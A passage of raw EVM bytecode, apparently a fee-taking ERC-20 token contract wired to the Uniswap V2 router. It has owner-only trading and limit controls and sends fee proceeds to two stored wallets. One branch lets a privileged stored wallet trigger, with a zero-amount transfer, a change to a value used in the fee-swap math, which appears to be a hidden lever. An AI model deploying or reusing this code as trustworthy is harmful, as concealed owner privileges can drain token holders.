fffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f620004b062000ab160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f620006aa62000ab160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f620007fa62000ab160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620008cd600f54620008be600e54600d5462000ad860201b90919060201c565b62000ad860201b90919060201c565b60148190555062000902601254620008f360115460105462000ad860201b90919060201c565b62000ad860201b90919060201c565b60158190555060165460065f6200091e62000aaa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506200096b62000aaa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601654604051620009cb91906200111c565b60405180910390a362001383565b5f808303620009eb575f905062000a53565b5f8284620009fa9190620010c1565b905082848262000a0b919062001164565b1462000a4e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a45906200121f565b60405180910390fd5b809150505b92915050565b5f62000aa283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000b3a60201b60201c565b905092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80828462000ae891906200123f565b90508381101562000b30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b2790620012c7565b60405180910390fd5b8091505092915050565b5f808311829062000b83576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b7a919062001361565b60405180910390fd5b505f838562000b93919062001164565b9050809150509392505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000c1c57607f821691505b60208210810362000c325762000c3162000bd7565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000c967fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c59565b62000ca2868362000c59565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000cec62000ce662000ce08462000cba565b62000cc3565b62000cba565b9050919050565b5f819050919050565b62000d078362000ccc565b62000d1f62000d168262000cf3565b84845462000c65565b825550505050565b5f90565b62000d3562000d27565b62000d4281848462000cfc565b505050565b5b8181101562000d695762000d5d5f8262000d2b565b60018101905062000d48565b5050565b601f82111562000db85762000d828162000c38565b62000d8d8462000c4a565b8101602085101562000d9d578190505b62000db562000dac8562000c4a565b83018262000d47565b50505b505050565b5f82821c905092915050565b5f62000dda5f198460080262000dbd565b1980831691505092915050565b5f62000df4838362000dc9565b9150826002028217905092915050565b62000e0f8262000ba0565b67ffffffffffffffff81111562000e2b5762000e2a62000baa565b5b62000e37825462000c04565b62000e4482828562000d6d565b5f60209050601f83116001811462000e7a575f841562000e65578287015190505b62000e71858262000de7565b86555062000ee0565b601f19841662000e8a8662000c38565b5f5b8281101562000eb35784890151825560018201915060208501945060208101905062000e8c565b8683101562000ed3578489015162000ecf601f89168262000dc9565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000f725780860481111562000f4a5762000f4962000ee8565b5b600185161562000f5a5780820291505b808102905062000f6a8562000f15565b945062000f2a565b94509492505050565b5f8262000f8c57600190506200105e565b8162000f9b575f90506200105e565b816001811462000fb4576002811462000fbf5762000ff5565b60019150506200105e565b60ff84111562000fd45762000fd362000ee8565b5b8360020a91508482111562000fee5762000fed62000ee8565b5b506200105e565b5060208310610133831016604e8410600b84101617156200102f5782820a90508381111562001029576200102862000ee8565b5b6200105e565b6200103e848484600162000f21565b9250905081840481111562001058576200105762000ee8565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6200107d8262000cba565b91506200108a8362001065565b9250620010b97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f7b565b905092915050565b5f620010cd8262000cba565b9150620010da8362000cba565b9250828202620010ea8162000cba565b9150828204841483151762001104576200110362000ee8565b5b5092915050565b620011168162000cba565b82525050565b5f602082019050620011315f8301846200110b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620011708262000cba565b91506200117d8362000cba565b92508262001190576200118f62001137565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f620012076021836200119b565b91506200121482620011ab565b604082019050919050565b5f6020820190508181035f8301526200123881620011f9565b9050919050565b5f6200124b8262000cba565b9150620012588362000cba565b925082820190508082111562001273576200127262000ee8565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f620012af601b836200119b565b9150620012bc8262001279565b602082019050919050565b5f6020820190508181035f830152620012e081620012a1565b9050919050565b5f5b8381101562001306578082015181840152602081019050620012e9565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6200132d8262000ba0565b6200133981856200119b565b93506200134b818560208601620012e7565b620013568162001311565b840191505092915050565b5f6020820190508181035f8301526200137b818462001321565b905092915050565b60805160a0516140ce620013b35f395f8181610c5b0152610cb201525f8181610b110152610c8601526140ce5ff3fe608060405260043610610280575f3560e01c80637d1db4a51161014e578063a9059cbb116100c0578063dd62ed3e11610079578063dd62ed3e14610961578063f0cd1dac1461099d578063f2fde38b146109c7578063f680f799146109ef578063f872858a14610a19578063fb45af2314610a4357610287565b8063a9059cbb14610873578063b9cbac9c146108af578063c5d24189146108b9578063c8607952146108e3578063da00097d1461090d578063dc44b6a01461093757610287565b80638da5cb5b116101125780638da5cb5b1461076557806395d89b411461078f57806398e944c8146107b9578063a457c2d7146107e3578063a7251ef61461081f578063a8b089821461084957610287565b80637d1db4a51461068157806382eefb43146106ab57806385261485146106d557806388790a68146106ff5780638b42507f1461072957610287565b8063313ce567116101f2578063531b13fc116101ab578063531b13fc14610589578063600f6db4146105c55780636c0a24eb146105ef57806370a0823114610619578063715018a614610655578063751039fc1461066b57610287565b8063313ce5671461046957806339509351146104935780633ecad271146104cf5780634a74bb021461050b5780634ada218b146105355780635194f9bf1461055f57610287565b806323555d571161024457806323555d571461036f57806323b872dd1461039957806327c8f835146103d55780632b112e49146103ff5780632c28f579146104295780632c572c211461043f57610287565b806306fdde031461028b5780630930907b146102b5578063095ea7b3146102df5780631694505e1461031b57806318160ddd1461034557610287565b3661028757005b5f80fd5b348015610296575f80fd5b5061029f610a7f565b6040516102ac9190613310565b60405180910390f35b3480156102c0575f80fd5b506102c9610b0f565b6040516102d6919061336f565b60405180910390f35b3480156102ea575f80fd5b50610305600480360381019061030091906133e9565b610b33565b6040516103129190613441565b60405180910390f35b348015610326575f80fd5b5061032f610b50565b60405161033c91906134b5565b60405180910390f35b348015610350575f80fd5b50610359610b75565b60405161036691906134dd565b60405180910390f35b34801561037a575f80fd5b50610383610b7e565b60405161039091906134dd565b60405180910390f35b3480156103a4575f80fd5b506103bf60048036038101906103ba91906134f6565b610b84565b6040516103cc9190613441565b60405180910390f35b3480156103e0575f80fd5b506103e9610c59565b6040516103f6919061336f565b60405180910390f35b34801561040a575f80fd5b50610413610c7d565b60405161042091906134dd565b60405180910390f35b348015610434575f80fd5b5061043d610cfa565b005b34801561044a575f80fd5b50610453610daa565b6040516104609190613566565b60405180910390f35b348015610474575f80fd5b5061047d610dcf565b60405161048a919061359a565b60405180910390f35b34801561049e575f80fd5b506104b960048036038101906104b491906133e9565b610de4565b6040516104c69190613441565b60405180910390f35b3480156104da575f80fd5b506104f560048036038101906104f091906135b3565b610e92565b6040516105029190613441565b60405180910390f35b348015610516575f80fd5b5061051f610eaf565b60405161052c9190613441565b60405180910390f35b348015610540575f80fd5b50610549610ec2565b6040516105569190613441565b60405180910390f35b34801561056a575f80fd5b50610573610ed4565b60405161058091906134dd565b60405180910390f35b348015610594575f80fd5b506105af60048036038101906105aa91906135b3565b610eda565b6040516105bc9190613441565b60405180910390f35b3480156105d0575f80fd5b506105d9610ef7565b6040516105e69190613566565b60405180910390f35b3480156105fa575f80fd5b50610603610f1c565b60405161061091906134dd565b60405180910390f35b348015610624575f80fd5b5061063f600480360381019061063a91906135b3565b610f22565b60405161064c91906134dd565b60405180910390f35b348015610660575f80fd5b50610669610f68565b005b348015610676575f80fd5b5061067f6110ba565b005b34801561068c575f80fd5b50610695611162565b6040516106a291906134dd565b60405180910390f35b3480156106b6575f80fd5b506106bf611168565b6040516106cc91906134dd565b60405180910390f35b3480156106e0575f80fd5b506106e961116e565b6040516106f69190613441565b60405180910390f35b34801561070a575f80fd5b50610713611181565b60405161072091906134dd565b60405180910390f35b348015610734575f80fd5b5061074f600480360381019061074a91906135b3565b611187565b60405161075c9190613441565b60405180910390f35b348015610770575f80fd5b506107796111a4565b604051610786919061336f565b60405180910390f35b34801561079a575f80fd5b506107a36111cb565b6040516107b09190613310565b60405180910390f35b3480156107c4575f80fd5b506107cd61125b565b6040516107da919061336f565b60405180910390f35b3480156107ee575f80fd5b50610809600480360381019061080491906133e9565b611281565b6040516108169190613441565b60405180910390f35b34801561082a575f80fd5b50610833611349565b60405161084091906134dd565b60405180910390f35b348015610854575f80fd5b5061085d61134f565b60405161086a919061336f565b60405180910390f35b34801561087e575f80fd5b50610899600480360381019061089491906133e9565b611374565b6040516108a69190613441565b60405180910390f35b6108b7611392565b005b3480156108c4575f80fd5b506108cd611906565b6040516108da91906134dd565b60405180910390f35b3480156108ee575f80fd5b506108f761190c565b60405161090491906134dd565b60405180910390f35b348015610918575f80fd5b50610921611912565b60405161092e9190613441565b60405180910390f35b348015610942575f80fd5b5061094b611925565b60405161095891906134dd565b60405180910390f35b34801561096c575f80fd5b50610987600480360381019061098291906135de565b61192b565b60405161099491906134dd565b60405180910390f35b3480156109a8575f80fd5b506109b16119ad565b6040516109be91906134dd565b60405180910390f35b3480156109d2575f80fd5b506109ed60048036038101906109e891906135b3565b6119b3565b005b3480156109fa575f80fd5b50610a03611b70565b604051610a1091906134dd565b60405180910390f35b348015610a24575f80fd5b50610a2d611b76565b604051610a3a9190613441565b60405180910390f35b348015610a4e575f80fd5b50610a696004803603810190610a6491906135b3565b611b89565b604051610a769190613441565b60405180910390f35b606060018054610a8e90613649565b80601f0160208091040260200160405190810160405280929190818152602001828054610aba90613649565b8015610b055780601f10610adc57610100808354040283529160200191610b05565b820191905f5260205f20905b815481529060010190602001808311610ae857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b46610b3f611ba6565b8484611bad565b6001905092915050565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601654905090565b600f5481565b5f610b90848484611d70565b50610c4e84610b9d611ba6565b610c498560405180606001604052806028815260200161404c6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c00611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b611bad565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610cf5610caa7f0000000000000000000000000000000000000000000000000000000000000000610f22565b610ce7610cd67f0000000000000000000000000000000000000000000000000000000000000000610f22565b60165461257790919063ffffffff16565b61257790919063ffffffff16565b905090565b610d02611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d85906136c3565b60405180910390fd5b600160085f6101000a81548160ff021916908315150217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f9054906101000a900460ff16905090565b5f610e88610df0611ba6565b84610e838560075f610e00611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b611bad565b6001905092915050565b600a602052805f5260405f205f915054906101000a900460ff1681565b601b60159054906101000a900460ff1681565b60085f9054906101000a900460ff1681565b60125481565b6009602052805f5260405f205f915054906101000a900460ff1681565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610f70611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff3906136c3565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6110c2611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611145906136c3565b60405180910390fd5b601654601881905550601654601981905550565b60185481565b60155481565b601b60189054906101000a900460ff1681565b60105481565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546111da90613649565b80601f016020809104026020016040519081016040528092919081815260200182805461120690613649565b80156112515780601f1061122857610100808354040283529160200191611251565b820191905f5260205f20905b81548152906001019060200180831161123457829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61133f61128d611ba6565b8461133a856040518060600160405280602581526020016140746025913960075f6112b6611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b611bad565b6001905092915050565b60175481565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f611387611380611ba6565b8484611d70565b506001905092915050565b61139a611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d906136c3565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611487573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114ab91906136f5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611510573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061153491906136f5565b6040518363ffffffff1660e01b8152600401611551929190613720565b6020604051808303815f875af115801561156d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061159191906136f5565b601b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600a5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061189a30610f22565b5f8033426040518863ffffffff1660e01b81526004016118bf96959493929190613780565b60606040518083038185885af11580156118db573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061190091906137f3565b50505050565b600e5481565b60115481565b601b60169054906101000a900460ff1681565b600d5481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60145481565b6119bb611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3e906136c3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aac906138b3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135481565b601b60179054906101000a900460ff1681565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290613941565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c80906139cf565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d6391906134dd565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd690613a5d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4490613aeb565b60405180910390fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611eeb575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f3f5760085f9054906101000a900460ff16611f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3590613b53565b60405180910390fd5b5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611fda575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561200757612000848484611fef888861261d565b611ff95785611ffb565b5f5b61273e565b905061250e565b600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120a55750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156120bd5750601b60189054906101000a900460ff165b1561210857601854821115612107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fe90613be1565b60405180910390fd5b5b5f61211230610f22565b90505f60175482101590508080156121375750601b60149054906101000a900460ff16155b801561218a5750600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156121a25750601b60159054906101000a900460ff165b156121cc57601b60169054906101000a900460ff16156121c25760175491505b6121cb8261291a565b5b612253846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612330575060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6123445761233f878787612be1565b612346565b845b9050601b60179054906101000a900460ff1680156123ab5750600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612410576019546123ce826123c089610f22565b6125c090919063ffffffff16565b111561240f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240690613c6f565b60405180910390fd5b5b6124608160065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124fe91906134dd565b60405180910390a3600193505050505b9392505050565b5f83831115829061255c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125539190613310565b60405180910390fd5b505f838561256a9190613cba565b9050809150509392505050565b5f6125b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612515565b905092915050565b5f8082846125ce9190613ced565b905083811015612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260a90613d6a565b60405180910390fd5b8091505092915050565b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156126c6575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156126fe57505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561273657505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b5f6127c6826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b60065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128578360065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f82036128a9576103e86013819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161290691906134dd565b60405180910390a360019050949350505050565b6001601b60146101000a81548160ff0219169083151502179055505f61294d6015546014546125c090919063ffffffff16565b90505f612967601054600d546125c090919063ffffffff16565b90505f612981601154600e546125c090919063ffffffff16565b90505f6129bc60026129ae866129a0878a612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f6129d2828761257790919063ffffffff16565b90505f4790506129e182612ebb565b5f6129f5824761257790919063ffffffff16565b90505f612a1e612a0f600289612e7290919063ffffffff16565b8961257790919063ffffffff16565b90505f612a596002612a4b84612a3d8c88612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f612a9583612a87612a786013548c612dfb90919063ffffffff16565b87612dfb90919063ffffffff16565b612e7290919063ffffffff16565b90505f612abd82612aaf858861257790919063ffffffff16565b61257790919063ffffffff16565b90505f821115612b2d5760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040515f60405180830381858888f19350505050158015612b2b573d5f803e3d5ffd5b505b5f811115612b9b5760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612b99573d5f803e3d5ffd5b505b5f83118015612ba957505f88115b15612bb957612bb8888461312a565b5b50505050505050505050505f601b60146101000a81548160ff02191690831515021790555050565b5f805f9050600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612c6457612c5d6064612c4f60145486612dfb90919063ffffffff16565b612e7290919063ffffffff16565b9050612cdf565b600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612cde57612cdb6064612ccd60155486612dfb90919063ffffffff16565b612e7290919063ffffffff16565b90505b5b5f811115612dde57612d378160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dd591906134dd565b60405180910390a35b612df1818461257790919063ffffffff16565b9150509392505050565b5f808303612e0b575f9050612e6c565b5f8284612e189190613d88565b9050828482612e279190613df6565b14612e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5e90613e96565b60405180910390fd5b809150505b92915050565b5f612eb383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207